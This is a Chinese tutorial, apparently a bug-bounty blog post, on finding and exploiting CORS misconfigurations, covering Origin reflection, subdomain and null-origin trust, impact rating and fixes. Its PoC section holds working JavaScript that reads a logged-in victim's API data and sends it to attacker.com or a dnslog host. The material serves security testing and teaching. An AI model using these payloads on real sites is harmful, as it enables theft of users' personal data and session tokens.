【SRC】基础思路篇17:CORS跨域安全测试完全指南

文章目录

    • 引言
    • 一、CORS漏洞原理
      • [1. 同源策略与CORS](#1. 同源策略与CORS)
      • [2. 漏洞触发条件](#2. 漏洞触发条件)
      • [3. 与CSRF的区别](#3. 与CSRF的区别)
    • 二、漏洞挖掘思路
      • [1. 抓包观察历史请求](#1. 抓包观察历史请求)
      • [2. 添加Origin头测试](#2. 添加Origin头测试)
      • [3. 判断响应类型](#3. 判断响应类型)
    • 三、常见CORS配置漏洞类型
      • [1. 反射任意Origin](#1. 反射任意Origin)
      • [2. 信任任意子域名](#2. 信任任意子域名)
      • [3. NULL Origin信任](#3. NULL Origin信任)
      • [4. 白名单域内漏洞(链式利用)](#4. 白名单域内漏洞(链式利用))
    • 四、利用与POC构造
      • [1. 构造恶意页面](#1. 构造恶意页面)
      • [2. NULL Origin利用POC](#2. NULL Origin利用POC)
      • [3. 配合XSS组合利用](#3. 配合XSS组合利用)
    • 五、重点测试接口清单
      • [1. 用户信息类接口](#1. 用户信息类接口)
      • [2. 认证令牌类接口](#2. 认证令牌类接口)
      • [3. 高价值功能点](#3. 高价值功能点)
    • 六、实战测试流程
    • 七、漏洞危害评估
      • [1. 直接危害](#1. 直接危害)
      • [2. 组合危害](#2. 组合危害)
      • [3. 危害等级评定](#3. 危害等级评定)
    • 八、修复建议
      • [1. 严格白名单校验](#1. 严格白名单校验)
      • [2. 凭证控制](#2. 凭证控制)
      • [3. 接口层防护](#3. 接口层防护)
      • [4. 监控与告警](#4. 监控与告警)
    • 九、实战心得
      • [1. 历史请求是宝藏](#1. 历史请求是宝藏)
      • [2. 每个接口都要测](#2. 每个接口都要测)
      • [3. 关注车联网/IoT场景](#3. 关注车联网/IoT场景)
      • [4. JWT泄露后果最严重](#4. JWT泄露后果最严重)
      • [5. 链式思维很重要](#5. 链式思维很重要)
      • [6. 测试要全面](#6. 测试要全面)
    • 十、总结

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

引言

CORS(跨域资源共享,Cross-Origin Resource Sharing)是现代Web应用中广泛使用的跨域机制,它通过一组HTTP响应头允许浏览器跨域加载资源。然而,CORS配置不当是SRC漏洞挖掘中的高频问题,可导致敏感信息泄露、账户接管等严重危害。与CSRF只允许"发请求"不同,CORS配置不当允许"读响应",这意味着攻击者可以读取受害者认证状态下的敏感数据。本文将系统性地介绍CORS漏洞的挖掘思路、测试方法与实战技巧。


一、CORS漏洞原理

1. 同源策略与CORS

同源策略(SOP)是浏览器的核心安全机制,禁止一个源的脚本读取另一个源的响应内容。CORS是一种"受控放宽"同源策略的机制,通过响应头声明允许哪些源跨域访问。

响应头 作用
Access-Control-Allow-Origin 声明允许跨域访问的源
Access-Control-Allow-Credentials 是否允许携带Cookie等凭证
Access-Control-Allow-Methods 允许的HTTP方法
Access-Control-Allow-Headers 允许的请求头
Access-Control-Max-Age 预检请求缓存时间

2. 漏洞触发条件

CORS漏洞必须同时满足以下条件,三者缺一不可:

  1. 目标接口为敏感接口:返回用户敏感信息(如账号、令牌、个人资料等)
  2. 响应头 Access-Control-Allow-Origin 可控或配置宽松:允许任意源、反射Origin、信任任意子域名
  3. 响应头 Access-Control-Allow-Credentials: true:允许携带Cookie等凭证

3. 与CSRF的区别

维度 CSRF CORS配置不当
请求类型 状态变更请求 读取类请求
能力边界 只能发请求,不能读响应 可读取响应内容
危害形式 以用户身份执行操作 窃取用户敏感数据
利用方式 表单/图片自动提交 fetch/XHR携带Cookie读取
防护重点 Token、SameSite Cookie 严格的Origin白名单

二、漏洞挖掘思路

1. 抓包观察历史请求

CORS漏洞的发现起点不是直接构造Payload,而是先观察流量。在Burp Suite的HTTP历史记录中,关注所有返回敏感数据的接口:

重点关注接口类型

  • 用户信息接口:/api/userinfo/api/profile/api/account
  • 认证令牌接口:返回JWT、Session、API Key的接口
  • 个人资料接口:返回手机号、邮箱、身份证等
  • 订单/资产接口:返回订单详情、账户余额等

实战技巧:很多CORS漏洞藏在历史请求中,浏览目标站点时主动触发各种功能(个人中心、订单查询、消息中心),让Burp收集完整流量后再统一分析。

2. 添加Origin头测试

对发现的所有敏感接口,逐一添加 Origin 头测试跨域响应:

测试步骤

  1. 在Burp Repeater中重放请求
  2. 添加 Origin: https://attacker.com
  3. 观察响应中 Access-Control-Allow-Origin 的值
  4. 观察响应中 Access-Control-Allow-Credentials 的值

3. 判断响应类型

根据响应头判断CORS配置是否存在问题:

响应情况 判断 风险等级
Allow-Origin 为固定目标网站域名 + Credentials: true 配置正确 无风险
Allow-Origin 反射任意输入的Origin + Credentials: true 存在漏洞 高危
Allow-Origin: * + Credentials: true 浏览器禁止(互斥) 无风险
Allow-Origin 信任任意子域名 + Credentials: true 存在漏洞 高危
Allow-Origin 反射Origin但 Credentials 不为true 仅限无凭证场景 中危

三、常见CORS配置漏洞类型

1. 反射任意Origin

漏洞表现 :服务器将请求中的 Origin 头原样回显到 Access-Control-Allow-Origin 响应头,同时设置 Access-Control-Allow-Credentials: true

测试Payload

http 复制代码
Origin: https://attacker.com

漏洞响应

http 复制代码
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

成因:后端未做Origin白名单校验,直接反射Origin值。

2. 信任任意子域名

漏洞表现:服务器只校验Origin是否以目标域名结尾,攻击者可构造子域名绕过。

测试Payload

http 复制代码
Origin: https://attacker.target.com
Origin: https://target.com.attacker.com
Origin: https://attackercom.target.com

漏洞响应

http 复制代码
Access-Control-Allow-Origin: https://attacker.target.com
Access-Control-Allow-Credentials: true

成因 :后端使用 endsWithcontains 等宽松匹配,未做严格域名解析。

3. NULL Origin信任

漏洞表现 :服务器允许 Origin: null 的跨域请求。NULL Origin常出现在本地文件、sandbox iframe、跨协议重定向等场景。

测试Payload

http 复制代码
Origin: null

漏洞响应

http 复制代码
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

成因:后端未对null进行特殊处理,或误以为null是安全值。

4. 白名单域内漏洞(链式利用)

漏洞表现:目标接口配置了白名单,直接跳转外部域名会被拦截,但白名单域内存在另一个CORS配置不当的接口,可作为中间跳板。

测试思路

  1. 测试白名单域内的所有子域名
  2. 寻找白名单域内反射Origin的接口
  3. 通过白名单域内的漏洞接口间接读取目标敏感数据

四、利用与POC构造

1. 构造恶意页面

确认存在CORS漏洞后,构造恶意HTML页面,诱使受害者(已登录目标站点)访问:

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>正常页面标题</title>
</head>
<body>
    <script>
        // 目标敏感接口
        const targetUrl = 'https://victim.com/api/userinfo';

        fetch(targetUrl, {
            credentials: 'include' // 强制携带Cookie
        })
        .then(response => response.text())
        .then(data => {
            // 将窃取的数据外带到攻击者服务器
            fetch('https://attacker.com/leak?data=' + encodeURIComponent(data));
        })
        .catch(err => console.error(err));
    </script>
</body>
</html>

2. NULL Origin利用POC

针对允许NULL Origin的场景,可利用iframe sandbox触发:

html 复制代码
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    fetch('https://victim.com/api/userinfo', {credentials: 'include'})
    .then(r => r.text())
    .then(d => {
        fetch('https://attacker.com/leak?data=' + encodeURIComponent(d));
    });
</script>"></iframe>

3. 配合XSS组合利用

当目标存在存储型/反射型XSS但响应中有严格CORS限制时,可结合XSS在同源下读取敏感数据:

html 复制代码
<!-- XSS + CORS 组合利用 PoC -->
<script>
fetch('https://api.目标.com/getUserInfo',{
  credentials:'include'
}).then(r=>r.text()).then(d=>{
  // 窃取数据外带
  new Image().src='https://your.dnslog?data='+encodeURIComponent(d);
})
</script>

组合利用场景

  • XSS可绕过CORS同源限制(因为是同源请求)
  • XSS用于在目标域内执行JS,读取后再外带
  • 当目标某个子域存在XSS,另一个子域存在敏感接口时可组合利用

五、重点测试接口清单

1. 用户信息类接口

接口类型 路径示例 返回内容
个人资料 /api/userinfo/api/profile 用户基本信息
账户信息 /api/account/info 账户余额、等级
订单信息 /api/order/list 订单详情
消息中心 /api/message/list 私信内容
收货地址 /api/address/list 收货人信息

2. 认证令牌类接口

接口类型 路径示例 返回内容
令牌刷新 /api/token/refresh 新的JWT
登录回调 /api/auth/callback 认证Token
API密钥 /api/key/list API Key
支付凭证 /api/payment/token 支付Token

3. 高价值功能点

  • 车联网/物联网平台:用户车辆信息、控制接口
  • 企业管理后台:员工信息、财务数据
  • 教育系统:学生信息、成绩、学籍
  • 金融系统:账户余额、交易记录、支付凭证
  • 云服务平台:AK/SK密钥、资源配置

六、实战测试流程

标准测试流程

复制代码
1. 浏览目标站点,收集所有敏感接口
        ↓
2. 在Burp历史中筛选返回敏感数据的接口
        ↓
3. 对每个接口添加Origin头测试
        ↓
4. 判断Access-Control-Allow-Origin响应
        ↓
5. 若有问题,构造POC验证可窃取数据
        ↓
6. 评估漏洞危害,编写报告

测试注意事项

  1. 每个接口都要测:不要只测试用户信息接口,所有返回敏感数据的接口都要测
  2. 多种Origin测试:测试任意域名、子域名、NULL Origin、HTTPS变体
  3. 关注预检请求:复杂请求会先发OPTIONS预检,需确认预检响应是否可控
  4. 认证状态保持:测试时确保用户处于已登录状态
  5. 多场景验证:Web端、移动端H5、小程序内嵌页面可能配置不同

七、漏洞危害评估

1. 直接危害

  • 敏感信息泄露:读取受害者个人信息、订单、资产等
  • 认证令牌窃取:读取JWT、Session、API Key,实现账户接管
  • 支付凭证泄露:读取支付Token,可发起未授权支付
  • 企业数据泄露:读取企业内部数据、员工信息

2. 组合危害

  • CORS + XSS:XSS绕过同源限制,CORS扩大数据读取范围
  • CORS + CSRF:CORS读取CSRF Token,绕过CSRF防护
  • CORS + 链式跳转:通过白名单域内漏洞间接读取数据
  • CORS + 信息泄露:读取泄露的接口列表,发现更多攻击面

3. 危害等级评定

危害场景 等级 说明
窃取认证Token导致账户接管 严重 直接控制账户
窃取大量PII敏感信息 高危 个人隐私泄露
窃取普通业务信息 中危 业务数据泄露
仅可读取非敏感数据 低危 一般不被收录

八、修复建议

1. 严格白名单校验

  • 配置严格的Origin白名单,禁止使用通配符 *
  • 不使用 endsWithcontains 等宽松匹配
  • 对Origin做完整域名解析后再校验
  • NULL Origin 应被拒绝

2. 凭证控制

  • 慎重设置 Access-Control-Allow-Credentials: true
  • 仅在确需跨域携带凭证的场景启用
  • 非敏感接口禁用凭证携带

3. 接口层防护

  • 敏感接口添加CSRF Token校验
  • 关键操作要求二次认证
  • 敏感数据脱敏返回

4. 监控与告警

  • 监控异常Origin请求
  • 对跨域请求做日志审计
  • 异常跨域访问告警

九、实战心得

1. 历史请求是宝藏

很多CORS漏洞藏在历史请求中,不要只盯着当前页面的请求。通过Burp Suite完整记录浏览过程,再统一分析。

2. 每个接口都要测

不要只测试用户信息接口。订单、消息、地址、令牌刷新等所有返回敏感数据的接口都应测试CORS配置。

3. 关注车联网/IoT场景

车联网、物联网平台的用户控制接口一旦存在CORS漏洞,可能导致车辆远程控制,危害极其严重。

4. JWT泄露后果最严重

如果CORS漏洞可读取返回JWT的接口,可直接实现账户接管,这是最高价值的CORS漏洞场景。

5. 链式思维很重要

单个CORS漏洞可能无法直接利用,但通过白名单域内漏洞、XSS、信息泄露等组合,可形成完整攻击链。

6. 测试要全面

测试多种Origin变体:任意域名、子域名、NULL Origin、HTTPS/HTTP变体、端口号变体,不能只测一种。


十、总结

CORS漏洞是SRC漏洞挖掘中的高频问题,其危害程度取决于可读取的敏感数据类型。在SRC实战中:

  1. 测试覆盖要全:所有返回敏感数据的接口都应测试CORS配置
  2. Origin变体要全:任意域名、子域名、NULL Origin都要测试
  3. 链式思维要强:单个漏洞可能无法利用,组合利用威力大
  4. 危害评估要准:根据可读取数据类型评定等级,认证Token泄露最严重

通过本文介绍的方法和思路,相信读者能建立起完整的CORS漏洞挖掘思维体系,在SRC实战中发现更多高质量漏洞。

相关推荐
其实防守也摸鱼11 小时前
HackBar 工具完全指南:信息探测、漏洞验证与安全测试实战
开发语言·人工智能·学习·安全·网络安全·安全威胁分析·安全性测试
Luminbox紫创测控3 天前
AM0太阳模拟器如何精准模拟太空环境:提升地面测试精度
测试工具·安全性测试·测试标准
Luminbox紫创测控5 天前
可调UV宽光谱高功率的LED太阳能模拟器
人工智能·测试工具·汽车·安全性测试·uv·测试标准
布兰妮甜7 天前
跨域全方案对比:CORS、Nginx 反向代理、JSONP、iframe、postMessage
nginx·跨域·cors·前端架构·浏览器安全
介一安全7 天前
【SRC】基础思路篇15:JWT安全测试完全指南
web安全·jwt·安全性测试·src
冰箱上的笑话7 天前
从 CORS 报错到两套方案选型:一份能直接抄的跨域复盘
状态模式·安全性测试·跨域
Draina10 天前
CBC填充预言攻击-CBC Padding Oracle Crypto Attack
python·安全·web安全·网络安全·密码学·安全性测试
c2385617 天前
第二篇:《测试指挥官:可视化单题自测框架(含 assert 实操)》
java·数据库·c++·算法·安全性测试
国科安芯22 天前
航天电子模拟前端三大支柱:精密运放、高速运放与电压监控的协同设计方法——ASL8522S/ASL622S/ASL706S技术解析
前端·单片机·嵌入式硬件·fpga开发·架构·安全性测试